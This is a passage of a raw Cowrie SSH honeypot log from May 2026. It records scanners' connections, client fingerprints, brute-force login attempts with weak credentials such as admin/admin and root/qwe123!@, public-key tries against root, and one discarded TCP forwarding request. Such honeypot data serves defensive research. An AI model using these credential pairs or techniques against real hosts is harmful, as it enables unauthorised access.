"ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:38.201043Z","src_ip":"172.237.20.62","session":"3681157ae29d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:38.883892Z","src_ip":"172.237.20.62","session":"3681157ae29d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27708,"dst_ip":"10.17.0.5","dst_port":22,"session":"d77723fdcd15","protocol":"ssh","message":"New connection: 87.251.64.176:27708 (10.17.0.5:22) [session: d77723fdcd15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:39.340389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:39.344701Z","src_ip":"87.251.64.176","session":"d77723fdcd15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:39.440859Z","src_ip":"87.251.64.176","session":"d77723fdcd15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:39.729412Z","src_ip":"87.251.64.176","session":"d77723fdcd15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:39.829022Z","session":"d77723fdcd15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:39.926778Z","src_ip":"87.251.64.176","session":"d77723fdcd15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:40.047373Z","src_ip":"172.237.20.62","session":"3681157ae29d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:40.161650Z","src_ip":"87.251.64.176","session":"d77723fdcd15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34712,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed1a615c130c","protocol":"ssh","message":"New connection: 172.237.20.62:34712 (159.203.135.109:22) [session: ed1a615c130c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:48.991548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:49.021562Z","src_ip":"172.237.20.62","session":"ed1a615c130c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:49.152451Z","src_ip":"172.237.20.62","session":"ed1a615c130c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:49.780309Z","src_ip":"172.237.20.62","session":"ed1a615c130c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:50.992848Z","src_ip":"172.237.20.62","session":"ed1a615c130c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.167.39","src_port":50328,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dc68020d0d6","protocol":"ssh","message":"New connection: 74.48.167.39:50328 (10.17.0.5:22) [session: 4dc68020d0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:55.945896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:55.950898Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.020794Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:43:19:57:9c:b9:8e:28:4b:2c:d3:63:20:d0:b2:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyW35tPXaByafDrBVbTVb0wtkTn+bIqYfXDpLM4ROKiYPO4dgpv24XsM53tLrVE0E/jjUuawQMGnPlaMgX88WTeY3Jxohj+YgeMgkreVcFaszXRuW/zrWdy//7MnTLIKEvAFrSZYJf2tb6Z/5nT+XL+xQ5poosBHbrvA9bRjlH7KX5q7y3TE3rbd/9mA2pdy7FSA2L8GLR9yps2CbOeM2vh4/+YpiyFAlKyuZ4iMcjnc6zUOwr0rFPBg0IYuhwCI9t3P9eF0sK6MXK5DSM9XS+nAiwQI30VnLwyUB59A1syZg2lYvwl7Xv9PbFeXcQuy7RXtbgmIVz+tYsO7EYur0b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:43:19:57:9c:b9:8e:28:4b:2c:d3:63:20:d0:b2:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.340730Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:43:19:57:9c:b9:8e:28:4b:2c:d3:63:20:d0:b2:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyW35tPXaByafDrBVbTVb0wtkTn+bIqYfXDpLM4ROKiYPO4dgpv24XsM53tLrVE0E/jjUuawQMGnPlaMgX88WTeY3Jxohj+YgeMgkreVcFaszXRuW/zrWdy//7MnTLIKEvAFrSZYJf2tb6Z/5nT+XL+xQ5poosBHbrvA9bRjlH7KX5q7y3TE3rbd/9mA2pdy7FSA2L8GLR9yps2CbOeM2vh4/+YpiyFAlKyuZ4iMcjnc6zUOwr0rFPBg0IYuhwCI9t3P9eF0sK6MXK5DSM9XS+nAiwQI30VnLwyUB59A1syZg2lYvwl7Xv9PbFeXcQuy7RXtbgmIVz+tYsO7EYur0b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.344564Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:80:94:59:ad:b3:02:ef:ff:f0:25:86:c9:cb:5b:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsooa1WlweO3jrKotZ3CrJIfITWbvATQ+rihk4LBdN3LhKB1fApPJPd/ZdpYVb42zFjz/eCQw0et0KaGsRMz4rntcPCmXsomMc9D1Nwffl+tLQIvIoB20rlZNL8HVrbckBIdng6a4kRiqpe7NCt3U6m+F3++tKboy+6+5K1q+NSBVZIE8qEiVyDvscWayzssNz4vsgY67eICrgrx/ysdDkQxzhYwKHDn3UU3oFJh7hIO8hADuPnktGHsx8V7UqV7MHy5cgYhxNq6joePJU/Cx9PNRBNVBebxbdFGV5twYKASPhCNtLZa8VAnlyTxNg4gTSU91SF6Ls3orlO6YN/3DvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:80:94:59:ad:b3:02:ef:ff:f0:25:86:c9:cb:5b:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.414039Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:80:94:59:ad:b3:02:ef:ff:f0:25:86:c9:cb:5b:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsooa1WlweO3jrKotZ3CrJIfITWbvATQ+rihk4LBdN3LhKB1fApPJPd/ZdpYVb42zFjz/eCQw0et0KaGsRMz4rntcPCmXsomMc9D1Nwffl+tLQIvIoB20rlZNL8HVrbckBIdng6a4kRiqpe7NCt3U6m+F3++tKboy+6+5K1q+NSBVZIE8qEiVyDvscWayzssNz4vsgY67eICrgrx/ysdDkQxzhYwKHDn3UU3oFJh7hIO8hADuPnktGHsx8V7UqV7MHy5cgYhxNq6joePJU/Cx9PNRBNVBebxbdFGV5twYKASPhCNtLZa8VAnlyTxNg4gTSU91SF6Ls3orlO6YN/3DvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.418715Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:d3:b3:57:e9:71:5c:a6:5b:d0:04:e4:11:2a:46:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKhMo0ua5vaCRjKHc16/1ZLgvgJjP5oVTogXyK3paVTLkISKdqaVBQzkc3FXqOIGl4vcjjEosCfyrkp5+mMdgGj25bCr7fdXdX/CXpwUbUT0/yEgkkCcEIFOLz0bXNC4TH3GJ7zyP2/4v73eAOogq2sTj8AVaPgQuD29M99CyYLGtFLw5wwGFEl4O3KDwB3n1eAZt4/DVNR5+I1DBbt6YjpvzEvtFCGmRBt/Rbk4UIUTjvAvcLMIZmzwxowX1w/lF1W8zwSmTDgJ5Khk0d48p01270zs0omkhGOpj/ucrzWoL2tLaL0s6qZ5yoM4c/7cwwjysjfF6gvBigTB/l+apxob1xcImgT/m3S4ZnTWY/IdMLuNimwx+qIxWATAZ1XmfKyepRg/IHBhtm/wPx8BL1TRkbgq2DiZsrRedBr9rDmjDw+NvPwWxFSQIgBNjMfFOYlrQu1mke2eSeAAWWxI7T2dPrqRc/5uOy4XB1TvDA6QvaEWwIBuNgsishPl3vaT3Vv5jpr8XVnY2dGNNnJ13SC2DrDciUClT4gez8GOzP8DX5AucT5dQSqhAIezXZw4bJD6U/8iDvgbLGjNC8WdQy81v02/3Ly2zvLb2P084A6+YhWCqhr4o+me9zBQQksBCnBQ3PIKqKy4S8jpfUbJIHFhFVe/pahLYLXGjdkKF6JQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:d3:b3:57:e9:71:5c:a6:5b:d0:04:e4:11:2a:46:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.489171Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:d3:b3:57:e9:71:5c:a6:5b:d0:04:e4:11:2a:46:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKhMo0ua5vaCRjKHc16/1ZLgvgJjP5oVTogXyK3paVTLkISKdqaVBQzkc3FXqOIGl4vcjjEosCfyrkp5+mMdgGj25bCr7fdXdX/CXpwUbUT0/yEgkkCcEIFOLz0bXNC4TH3GJ7zyP2/4v73eAOogq2sTj8AVaPgQuD29M99CyYLGtFLw5wwGFEl4O3KDwB3n1eAZt4/DVNR5+I1DBbt6YjpvzEvtFCGmRBt/Rbk4UIUTjvAvcLMIZmzwxowX1w/lF1W8zwSmTDgJ5Khk0d48p01270zs0omkhGOpj/ucrzWoL2tLaL0s6qZ5yoM4c/7cwwjysjfF6gvBigTB/l+apxob1xcImgT/m3S4ZnTWY/IdMLuNimwx+qIxWATAZ1XmfKyepRg/IHBhtm/wPx8BL1TRkbgq2DiZsrRedBr9rDmjDw+NvPwWxFSQIgBNjMfFOYlrQu1mke2eSeAAWWxI7T2dPrqRc/5uOy4XB1TvDA6QvaEWwIBuNgsishPl3vaT3Vv5jpr8XVnY2dGNNnJ13SC2DrDciUClT4gez8GOzP8DX5AucT5dQSqhAIezXZw4bJD6U/8iDvgbLGjNC8WdQy81v02/3Ly2zvLb2P084A6+YhWCqhr4o+me9zBQQksBCnBQ3PIKqKy4S8jpfUbJIHFhFVe/pahLYLXGjdkKF6JQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.492567Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:2b:e8:51:f6:36:8b:15:01:76:66:38:8e:4e:f9:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO/iCoD8tSXqCOLf/roo0PkhNdOe9Lgu9ZVkj8b+BGFSF1/TFFlwnyxH4Er2+fJ6+0qlDyJpLjxAZcRoyAiHJXaC0rTL2wokk+jSJ3En7Y4MOXVfmaIbnmyNjfwuBivJdkC5BBpaacmuhFGCUpFcD7hmUScHqmwA89g1NIrsRjGZTgzvmpmIxJG0g6tmo2DJrMVcV/aAaRpBQZzRJiRidRFmb0ohukV6dKadZ0KutBECmATOpRTDAFVmGuGfKIixrPUcT8bCOabsxzTIBvI/vyCS9VmQNNXDZThnoqsSNA+KPMp7PmQA1N/wLlQtKvlyVM/bw9OGvGMfbUKAB1ZePpo5BCv+nH+/FoEm6+WD3c0R/10JQxDUUIwpPgbmwPtFioxDnlNeLsYCPNKGWkIwY4n4QoH/IQOtq7QeA+KkdsxQciVWBa5uyAOzPnRW5QD9djX7qn+1kCxvWpQ3il3nwMkYiOjFzXLEJWQFI4NMDfCgID47/ochTngmr24gvZQ3wcu0t9XVu+P/o//cSkT1Wapdlx6xXnoAAYu1yVwdtc9IcBHYconKyhQMPatyg7TCO5N30gEsHP45KVe4FRHl2GNe4RXyV8141DKWHiIoZ0TpfK5OtwHHEsQw8aBUbJsZnFXxEVTgnQZ0Qdk2R2zxRVoJS9bIo6W1u8ifXBe1BXGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:2b:e8:51:f6:36:8b:15:01:76:66:38:8e:4e:f9:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.561919Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:2b:e8:51:f6:36:8b:15:01:76:66:38:8e:4e:f9:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO/iCoD8tSXqCOLf/roo0PkhNdOe9Lgu9ZVkj8b+BGFSF1/TFFlwnyxH4Er2+fJ6+0qlDyJpLjxAZcRoyAiHJXaC0rTL2wokk+jSJ3En7Y4MOXVfmaIbnmyNjfwuBivJdkC5BBpaacmuhFGCUpFcD7hmUScHqmwA89g1NIrsRjGZTgzvmpmIxJG0g6tmo2DJrMVcV/aAaRpBQZzRJiRidRFmb0ohukV6dKadZ0KutBECmATOpRTDAFVmGuGfKIixrPUcT8bCOabsxzTIBvI/vyCS9VmQNNXDZThnoqsSNA+KPMp7PmQA1N/wLlQtKvlyVM/bw9OGvGMfbUKAB1ZePpo5BCv+nH+/FoEm6+WD3c0R/10JQxDUUIwpPgbmwPtFioxDnlNeLsYCPNKGWkIwY4n4QoH/IQOtq7QeA+KkdsxQciVWBa5uyAOzPnRW5QD9djX7qn+1kCxvWpQ3il3nwMkYiOjFzXLEJWQFI4NMDfCgID47/ochTngmr24gvZQ3wcu0t9XVu+P/o//cSkT1Wapdlx6xXnoAAYu1yVwdtc9IcBHYconKyhQMPatyg7TCO5N30gEsHP45KVe4FRHl2GNe4RXyV8141DKWHiIoZ0TpfK5OtwHHEsQw8aBUbJsZnFXxEVTgnQZ0Qdk2R2zxRVoJS9bIo6W1u8ifXBe1BXGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.565602Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:6c:93:c6:d5:b0:68:5e:7f:76:42:f1:4b:d6:1a:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChITl2iBg8dD8rGV/hqCRMd43SDAN4Nf5aWRlUydbFDiinn/D2Rb6yd/HDj/HwuDIXM1kslXG9vmEweMKs4lwyYFB/N5B7AgW+xKtBbozAtTNMT84QM5Ysv9I2fN3Og6H0LLSCG24R85gZ6XxxNlxI6vA06n4Gi00+kkp2jEtiw5GRPi/qmZ2jY5HVDuBuhPu8ctDKAmVhc6ApijkXnYvtBkup3Wx4Eo8qveQ3AYmsBr5q9dSSZPw2jo449B0hgkL/6vc4eg5vz4xvnhOix0EmibJfzrZdqk7XHBDHtJyN6ejxhVOX5T1oAnI+p+hZI29hYeain8FHPbs2g7pZll+G1DKgJT2YmwIxZAbk8Mp5RkiblMSLsx/PaUT9kyBRA5C3VaiPT0rHB/OEcV2QDiFDOVFMmVC5EJGoMpU8WOj9TQHtg9FlyettGMbHxiq8zhmUMDZ3juGpRtp+9c6UiBYkDDnWxYdPvyBMaWmIGwy5mPW7cM7+ypw+NG4b+REJKf1+prkkW1YciOaLtAB6vcDgAoaQMsA2jWg93Wb9EoLkHr5LqRX61p5/kN2qKv8K5rqWp2B/6PSmbsH2Eta1m5gIG4hHM84fQnH3kApPwM8vMO5vCSI4u+ki2elXvvq1GRebIxjV0RhyQ4eHE9LooPaTI8DLWNZFN94DeXXVCNsM5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:6c:93:c6:d5:b0:68:5e:7f:76:42:f1:4b:d6:1a:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.637231Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:6c:93:c6:d5:b0:68:5e:7f:76:42:f1:4b:d6:1a:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChITl2iBg8dD8rGV/hqCRMd43SDAN4Nf5aWRlUydbFDiinn/D2Rb6yd/HDj/HwuDIXM1kslXG9vmEweMKs4lwyYFB/N5B7AgW+xKtBbozAtTNMT84QM5Ysv9I2fN3Og6H0LLSCG24R85gZ6XxxNlxI6vA06n4Gi00+kkp2jEtiw5GRPi/qmZ2jY5HVDuBuhPu8ctDKAmVhc6ApijkXnYvtBkup3Wx4Eo8qveQ3AYmsBr5q9dSSZPw2jo449B0hgkL/6vc4eg5vz4xvnhOix0EmibJfzrZdqk7XHBDHtJyN6ejxhVOX5T1oAnI+p+hZI29hYeain8FHPbs2g7pZll+G1DKgJT2YmwIxZAbk8Mp5RkiblMSLsx/PaUT9kyBRA5C3VaiPT0rHB/OEcV2QDiFDOVFMmVC5EJGoMpU8WOj9TQHtg9FlyettGMbHxiq8zhmUMDZ3juGpRtp+9c6UiBYkDDnWxYdPvyBMaWmIGwy5mPW7cM7+ypw+NG4b+REJKf1+prkkW1YciOaLtAB6vcDgAoaQMsA2jWg93Wb9EoLkHr5LqRX61p5/kN2qKv8K5rqWp2B/6PSmbsH2Eta1m5gIG4hHM84fQnH3kApPwM8vMO5vCSI4u+ki2elXvvq1GRebIxjV0RhyQ4eHE9LooPaTI8DLWNZFN94DeXXVCNsM5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.640983Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:56.709484Z","src_ip":"74.48.167.39","session":"4dc68020d0d6","protocol":"ssh"}
